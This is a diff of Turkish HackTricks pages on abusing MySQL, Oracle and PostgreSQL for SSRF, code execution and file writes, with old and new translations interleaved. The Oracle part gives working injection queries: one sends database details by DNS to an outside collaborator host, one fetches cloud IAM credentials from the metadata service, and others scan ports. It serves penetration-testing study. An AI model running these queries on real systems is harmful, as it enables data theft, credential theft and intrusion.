`secure_file_priv` global değişkeni, ayarlanmamışsa, varsayılan olarak `/var/lib/mysql-files/` dizinine ayarlanır ve dosya erişimi bu dizinle sınırlıdır, boş bir dizeye (`""`) ayarlanmadıkça. Bu ayarlama, veritabanının yapılandırma dosyasında veya başlangıç parametrelerinde değişiklik yapılmasını gerektirir.
`secure_file_priv` devre dışı bırakıldığında (`""`) ve gerekli dosya ve `file_priv` izinleri verildiğinde, belirlenen dizinin dışındaki dosyalar okunabilir. Ancak, bu fonksiyonların ağ çağrıları yapabilme yeteneği, işletim sistemine bağlıdır. Windows sistemlerinde, UNC yollarına ağ çağrıları, işletim sisteminin UNC adlandırma kurallarını anlaması nedeniyle mümkündür ve bu da NTLMv2 karma değerlerinin sızdırılmasına yol açabilir.
`secure_file_priv` devre dışı bırakıldığında (`""`), gerekli dosya ve `file_priv` izinleri verildiğinde, belirlenen dizin dışındaki dosyalar okunabilir. Ancak, bu fonksiyonların ağ çağrıları yapabilme yeteneği, büyük ölçüde işletim sistemine bağlıdır. Windows sistemlerinde, UNC yollarına yapılan ağ çağrıları mümkündür çünkü işletim sistemi UNC adlandırma kurallarını anlar, bu da NTLMv2 hash'lerinin sızdırılmasına yol açabilir.
Bu SSRF yöntemi, TCP bağlantı noktası 445 ile sınırlıdır ve bağlantı noktası numarası değiştirilmesine izin vermez, ancak tam okuma izinleri olan paylaşımlara erişmek ve önceki araştırmalarda gösterildiği gibi daha fazla istismar için karma değerlerini çalmak için kullanılabilir.
Bu SSRF yöntemi, TCP port 445 ile sınırlıdır ve port numarasının değiştirilmesine izin vermez, ancak tam okuma ayrıcalıkları ile paylaşımlara erişmek için kullanılabilir ve önceki araştırmalarda gösterildiği gibi, daha fazla istismar için hash çalmaya olanak tanır.
### Kullanıcı Tanımlı Fonksiyonlar (UDF) Aracılığıyla Uzaktan Kod Yürütme (RCE)
### Kullanıcı Tanımlı Fonksiyonlar (UDF) ile Uzaktan Kod Yürütme (RCE)
MySQL veritabanları, harici kitaplık dosyalarından Kullanıcı Tanımlı Fonksiyonlar (UDF) kullanımını sunar. Bu kitaplıklar, belirli dizinlerde veya sistem `$PATH`'inde erişilebilir durumdaysa, MySQL içinden çağrılabilir.
MySQL veritabanları, dış kütüphane dosyalarından Kullanıcı Tanımlı Fonksiyonlar (UDF) kullanma imkanı sunar. Bu kütüphaneler belirli dizinlerde veya sistemin `$PATH`'inde erişilebilir olduğunda, MySQL içinden çağrılabilir.
Bu teknik, `@@plugin_dir`'e yazma erişimi, `file_priv`'in `Y` olarak ayarlanması ve `secure_file_priv`'in devre dışı bırakılması gibi birkaç koşulun karşılanması durumunda, bir UDF aracılığıyla ağ/HTTP isteklerinin yürütülmesine olanak tanır.
Bu teknik, `@@plugin_dir`'e yazma erişimi, `file_priv`'in `Y` olarak ayarlanması ve `secure_file_priv`'in devre dışı bırakılması gibi birkaç koşulun sağlanması durumunda, bir UDF aracılığıyla ağ/HTTP isteklerinin yürütülmesine olanak tanır.
Örneğin, `lib_mysqludf_sys` kitaplığı veya HTTP isteklerini etkinleştiren diğer UDF kitaplıkları, SSRF gerçekleştirmek için yüklenebilir. Kitaplıkların sunucuya aktarılması gerekmektedir, bunu kitaplığın içeriğinin hex veya base64 kodlamasıyla yaparak ve ardından uygun dizine yazarak başarabilirsiniz.
Örneğin, `lib_mysqludf_sys` kütüphanesi veya HTTP isteklerini etkinleştiren diğer UDF kütüphaneleri, SSRF gerçekleştirmek için yüklenebilir. Kütüphaneler, kütüphanenin içeriğinin hex veya base64 kodlaması yapılarak sunucuya aktarılması ve ardından uygun dizine yazılması yoluyla aktarılmalıdır.
`@@plugin_dir` yazılabilir değilse, özellikle `v5.0.67` üzeri MySQL sürümleri için işlem farklılık gösterir. Bu durumlarda, yazılabilir alternatif yollar kullanılmalıdır.
`@@plugin_dir` yazılabilir değilse, özellikle `v5.0.67` üzerindeki MySQL sürümleri için süreç değişir. Bu gibi durumlarda, yazılabilir alternatif yollar kullanılmalıdır.
Bu süreçlerin otomasyonu, UDF enjeksiyonunu destekleyen SQLMap gibi araçlarla kolaylaştırılabilir ve kör SQL enjeksiyonları için çıktı yönlendirmesi veya DNS isteği kaçırma teknikleri kullanılabilir.
Bu süreçlerin otomasyonu, UDF enjeksiyonunu destekleyen SQLMap gibi araçlarla kolaylaştırılabilir ve kör SQL enjeksiyonları için çıktı yönlendirme veya DNS istek kaçırma teknikleri kullanılabilir.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# Oracle enjeksiyonu
# Oracle injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Bu gönderiyi silinen gönderinin [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) Wayback Machine kopyası olarak sunun.**
**Bu gönderiyi [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) adresinden silinmiş gönderinin wayback machine kopyası olarak sunun.**
## SSRF
Oracle'ı kullanarak Out of Band HTTP ve DNS istekleri yapmak, enjeksiyonlarda SQL verilerini dışarı çıkarmak için iyi belgelenmiştir. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA işlemleri için de değiştirebiliriz.
Oracle kullanarak Out of Band HTTP ve DNS istekleri yapmak iyi belgelenmiştir, ancak bu, enjeksiyonlarda SQL verilerini dışarı sızdırmanın bir yolu olarak kullanılmaktadır. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA'ları yapmak için değiştirebiliriz.
Oracle kurulumu gerçekten zorlayıcı olabilir, özellikle komutları denemek için hızlı bir örnek oluşturmak isterseniz. [Appsecco](https://appsecco.com)'daki arkadaşım ve meslektaşım [Abhisek Datta](https://github.com/abhisek), [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresine yönlendirdi ve bu sayede bir t2.large AWS Ubuntu makinesinde ve Docker üzerinde bir örnek kurulum yapabildim.
Oracle'ı kurmak gerçekten acı verici olabilir, özellikle de komutları denemek için hızlı bir örnek kurmak istiyorsanız. [Appsecco](https://appsecco.com) şirketindeki arkadaşım ve meslektaşım [Abhisek Datta](https://github.com/abhisek), bana bir t2.large AWS Ubuntu makinesinde ve Docker'da bir örnek kurmamı sağlayan [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) adresini gösterdi.
Docker komutunu `--network="host"` bayrağıyla çalıştırdım, böylece bu blog yazısı süresince Oracle'ı tam ağ erişimi olan yerel bir kurulum gibi taklit edebildim.
Docker komutunu `--network="host"` bayrağı ile çalıştırdım, böylece bu blog yazısının süresince Oracle'ı tam ağ erişimi ile yerel bir kurulum olarak taklit edebildim.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Bir URL veya Bir Ana Bilgisayar Adı/Port Numarası belirtimi destekleyen Oracle paketleri <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
#### URL veya Hostname/Port Numarası belirtimini destekleyen Oracle paketleri <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Bir ana bilgisayar ve port belirtimini destekleyen herhangi bir paket ve fonksiyonu bulmak için, [Oracle Veritabanı Çevrimiçi Belgeleri](https://docs.oracle.com/database/121/index.html) üzerinde bir Google araması yaptım. Özellikle,
Bir host ve port belirtimini destekleyen paketler ve fonksiyonlar bulmak için, [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html) üzerinde bir Google araması yaptım. Özellikle,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
Arama aşağıdaki sonuçları döndürdü (hepsi dış ağa çıkış yapmak için kullanılamaz):
Arama aşağıdaki sonuçları döndürdü (hepsi dışa ağ bağlantısı gerçekleştirmek için kullanılamaz)
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
@ -49,34 +50,34 @@ Arama aşağıdaki sonuçları döndürdü (hepsi dış ağa çıkış yapmak i
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
Bu basit arama açıkçası `DBMS_LDAP` gibi paketleri atlar (hostname ve port numarası geçmeyi sağlar) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) yönlendirir. Bu nedenle, gözden kaçırdığım başka Oracle paketleri olabilir.
Bu kaba arama, `DBMS_LDAP` gibi paketleri açıkça atlıyor (bir ana bilgisayar adı ve port numarası geçişine izin verir) çünkü [belgelendirme sayfası](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) sizi [farklı bir konuma](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) yönlendiriyor. Bu nedenle, dışa istekler yapmak için kötüye kullanılabilecek başka Oracle paketleri olabilir, bunları atlamış olabilirim.
Her durumda, keşfettiğimiz ve yukarıda listelenen bazı paketlere bir göz atalım.
Her durumda, keşfettiğimiz ve yukarıda listelediğimiz bazı paketlere bir göz atalım.
**DBMS\_LDAP.INIT**
`DBMS_LDAP` paketi, LDAP sunucularından veri erişimine izin verir. `init()` işlevi, bir LDAP sunucusuyla bir oturumu başlatır ve bir hostname ve port numarasını argüman olarak alır.
`DBMS_LDAP` paketi, LDAP sunucularından veri erişimine olanak tanır. `init()` fonksiyonu, bir LDAP sunucusuyla bir oturum başlatır ve bir ana bilgisayar adı ve port numarasını argüman olarak alır.
Bu işlev daha önce DNS üzerinden veri sızdırma göstermek için belgelenmiştir, örneğin aşağıdaki gibi:
Bu fonksiyon, aşağıdaki gibi DNS üzerinden veri sızdırma gösterimi için daha önce belgelenmiştir.
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
Ancak, işlevin bir ana bilgisayar adı ve bir bağlantı noktası numarası kabul ettiği göz önüne alındığında, bunu bir bağlantı noktası tarayıcısı gibi çalıştırmak için de kullanabilirsiniz.
Ancak, fonksiyonun bir ana bilgisayar adı ve bir port numarası argümanları kabul ettiğini göz önünde bulundurursak, bunu bir port tarayıcı gibi çalışmak için de kullanabilirsiniz.
İşte birkaç örnek:
İşte birkaç örnek
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
`ORA-31203: DBMS_LDAP: PL/SQL - Başlatma Başarısız.` hatası, bir oturum değeri açık olan bağlantı noktasına işaret ederken, bağlantı noktasının kapalı olduğunu gösterir.
A `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.`, bir oturum değerinin portun açık olduğunu gösterirken, portun kapalı olduğunu gösterir.
**UTL\_SMTP**
`UTL_SMTP` paketi, SMTP üzerinden e-posta göndermek için tasarlanmıştır. [Oracle belgelendirme sitesindeki örnek, bu paketi kullanarak nasıl bir e-posta gönderebileceğinizi göstermektedir](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Ancak bizim için ilginç olan şey, bir ana bilgisayar ve bağlantı noktası belirtme yeteneğidir.
`UTL_SMTP` paketi, SMTP üzerinden e-posta göndermek için tasarlanmıştır. [Oracle belgeleri sitesinde sağlanan örnek, bu paketi kullanarak nasıl e-posta gönderebileceğinizi göstermektedir](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Ancak bizim için ilginç olan, bir ana bilgisayar ve port belirtme yeteneğidir.
Aşağıda, `UTL_SMTP.OPEN_CONNECTION` işleviyle 2 saniyelik bir zaman aşımı ile basit bir örnek gösterilmektedir.
Aşağıda, 2 saniyelik bir zaman aşımı ile `UTL_SMTP.OPEN_CONNECTION` fonksiyonu ile basit bir örnek gösterilmektedir.
```
DECLARE c utl_smtp.connection;
BEGIN
@ -90,13 +91,13 @@ BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
`ORA-29276: transfer timeout` hatası, portun açık olduğunu ancak SMTP bağlantısının kurulmadığını gösterirken, `ORA-29278: SMTP transient error: 421 Service not available` hatası, portun kapalı olduğunu gösterir.
`ORA-29276: transfer timeout` ık bir portun olduğunu ancak SMTP bağlantısının kurulmadığını gösterirken, `ORA-29278: SMTP transient error: 421 Service not available` portun kapalı olduğunu gösterir.
**UTL\_TCP**
`UTL_TCP` paketi ve işlemleri, [TCP/IP tabanlı hizmetlerle iletişim kurmayı](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190) sağlar. Belirli bir hizmet için programlandığında, bu paket ağa giriş yolu haline gelebilir veya bir TCP/IP bağlantısının tüm yönlerini kontrol ederek tam Sunucu Tarafı İstekler gerçekleştirebilir.
`UTL_TCP` paketi ve prosedürleri ile fonksiyonları, [hizmetlerle TCP/IP tabanlı iletişim sağlar](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Belirli bir hizmet için programlandığında, bu paket ağa giriş yapmak veya tüm Sunucu Tarafı İsteklerini gerçekleştirmek için kolayca bir yol haline gelebilir, çünkü bir TCP/IP bağlantısının tüm yönleri kontrol edilebilir.
Oracle belgelendirme sitesindeki örnek [bu paketi kullanarak bir web sayfasını almak için raw bir TCP bağlantısı yapabileceğinizi göstermektedir](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190). Biz bunu biraz daha basitleştirerek, örneğin meta veri örneğine veya herhangi bir TCP/IP hizmetine istek yapmak için kullanabiliriz.
Oracle dokümantasyon sitesindeki [örnek, bu paketi kullanarak bir web sayfasını almak için ham bir TCP bağlantısı nasıl yapılacağını göstermektedir](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Bunu biraz daha basitleştirip, örneğin, metadata örneğine veya keyfi bir TCP/IP hizmetine istek yapmak için kullanabiliriz.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
@ -136,34 +137,35 @@ END;
utl_tcp.close_connection(c);
END;
```
İlginç bir şekilde, ham TCP istekleri oluşturma yeteneği sayesinde bu paket, TCP isteği içinde yöntem türü ve ek başlıkların da iletilmesiyle tüm bulut sağlayıcıların Örnek meta veri hizmetini sorgulamak için de kullanılabilir.
İlginç bir şekilde, ham TCP istekleri oluşturma yeteneği sayesinde, bu paket tüm bulut sağlayıcılarının Instance meta-veri hizmetini sorgulamak için de kullanılabilir, çünkü yöntem türü ve ek başlıklar TCP isteği içinde iletilebilir.
**UTL\_HTTP ve Web İstekleri**
Belki de her Oracle SQL Injection dışında OOB (Out of Band) Oracle SQL Injection öğreticisinde en yaygın ve geniş belgelenmiş teknik olan [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. İnternet üzerindeki verilere HTTP üzerinden erişmek için kullanabilirsiniz.`
Belki de her Out of Band Oracle SQL Injection eğitiminde en yaygın ve geniş bir şekilde belgelenmiş teknik [`UTL_HTTP` paketi](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) dir. Bu paket, belgelerde şu şekilde tanımlanmıştır - `UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. HTTP üzerinden İnternetteki verilere erişmek için kullanabilirsiniz.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
Ayrıca, şu gibi sorgularla basit bir port taraması yapmak için bunu da kullanabilirsiniz:
Ayrıca, bunu şu tür sorgularla bazı temel port taramaları gerçekleştirmek için de kullanabilirsiniz.
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
`ORA-12541: TNS:no listener` veya `TNS:operation timed out` hatası, TCP bağlantı noktasının kapalı olduğunun bir işaretidir, oysa `ORA-29263: HTTP protocol error` veya veri, bağlantı noktasının açık olduğunun bir işaretidir.
`ORA-12541: TNS:no listener` veya `TNS:operation timed out` hatası, TCP portunun kapalı olduğunun bir işaretiyken, `ORA-29263: HTTP protocol error` veya veri, portun açık olduğunun bir işareti.
Geçmişte değişen başarıyla kullandığım başka bir paket, [`HTTPURITYPE` Oracle soyut tipinin `GETCLOB()` yöntemidir](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705). Bu yöntem, bir URL ile etkileşimde bulunmanıza ve HTTP protokolü için destek sağlar. `GETCLOB()` yöntemi, bir URL'den GET yanıtını [CLOB veri türü olarak almak için kullanılır.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
Geçmişte çeşitli başarılarla kullandığım bir diğer paket, bir URL ile etkileşimde bulunmanıza ve HTTP protokolünü desteklemenize olanak tanıyan [`HTTPURITYPE` Oracle soyut tipinin `GETCLOB()` yöntemi](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705)'dir. `GETCLOB()` yöntemi, bir URL'den GET yanıtını [CLOB veri tipi olarak](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) almak için kullanılır. [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,48 +1,49 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'a göz atın!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### PostgreSQL Büyük Nesneler
PostgreSQL, resimler veya PDF belgeleri gibi büyük veri tiplerini depolamak için tasarlanmış olan `pg_largeobject` tablosuna erişilebilen **büyük nesneler** adı verilen bir yapı sunar. Bu yaklaşım, verilerin dosya sistemine geri **aktarılmasını** sağlayan `COPY TO` işlevine göre avantajlıdır ve orijinal dosyanın tam bir kopyasının korunmasını sağlar.
PostgreSQL, büyük veri türlerini, örneğin resimler veya PDF belgeleri gibi, depolamak için tasarlanmış **büyük nesneler** olarak bilinen bir yapı sunar ve bu nesnelere `pg_largeobject` tablosu aracılığıyla erişilir. Bu yaklaşım, **verilerin dosya sistemine geri aktarımını** sağladığı için `COPY TO` işlevine göre avantajlıdır ve orijinal dosyanın tam bir kopyasının korunmasını garanti eder.
Bu tabloya **bir tam dosya depolamak** için, bir nesne (LOID tarafından tanımlanan) `pg_largeobject` tablosunda oluşturulmalı ve ardından bu nesneye 2KB boyutunda her biri veri parçaları eklenmelidir. Bu parçaların tam olarak 2KB boyutunda olması (son parça hariç) ihracat işlevinin doğru şekilde çalışmasını sağlamak için önemlidir.
Bu tabloda **tam bir dosya depolamak** için, `pg_largeobject` tablosunda bir nesne oluşturulmalı (bir LOID ile tanımlanır) ve ardından bu nesneye her biri 2KB boyutunda veri parçaları eklenmelidir. Bu parçaların tam olarak 2KB boyutunda olması (son parçanın istisna olabileceği durumlar hariç) önemlidir, böylece dışa aktarma işlevi doğru çalışır.
Binary verilerinizi **2KB'lık parçalara bölmek** için aşağıdaki komutlar kullanılabilir:
**İkili verilerinizi** 2KB parçalarına **bölmek için** aşağıdaki komutlar çalıştırılabilir:
```bash
split -b 2048 your_file # Creates 2KB sized files
```
Her bir dosyanın Base64 veya Hex formatına kodlanması için aşağıdaki komutlar kullanılabilir:
Her dosyayı Base64 veya Hex'e kodlamak için aşağıdaki komutlar kullanılabilir:
```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
```
**Önemli**: Bu işlemi otomatikleştirirken, açık metin baytlarının 2KB'lık parçalarını gönderdiğinizden emin olun. Hex kodlu dosyaların boyutu ikiye katlandığı için her parça için 4KB veri gerekecektir, Base64 kodlu dosyalar ise `ceil(n / 3) * 4` formülünü takip eder.
**Önemli**: Bu süreci otomatikleştirirken, 2KB'lık açık metin baytları parçaları göndermeyi garanti edin. Hex kodlu dosyalar, boyutun iki katına çıkması nedeniyle her parça için 4KB veri gerektirecektir, Base64 kodlu dosyalar ise `ceil(n / 3) * 4` formülünü takip eder.
Büyük nesnelerin içeriği hata ayıklama amaçlı olarak görüntülenebilir:
Büyük nesnelerin içeriği, hata ayıklama amaçları için şu şekilde görüntülenebilir:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
#### `lo_creat` ve Base64 Kullanımı
#### Using `lo_creat` & Base64
Binary verileri depolamak için öncelikle bir LOID oluşturulur:
İkili verileri depolamak için önce bir LOID oluşturulur:
```sql
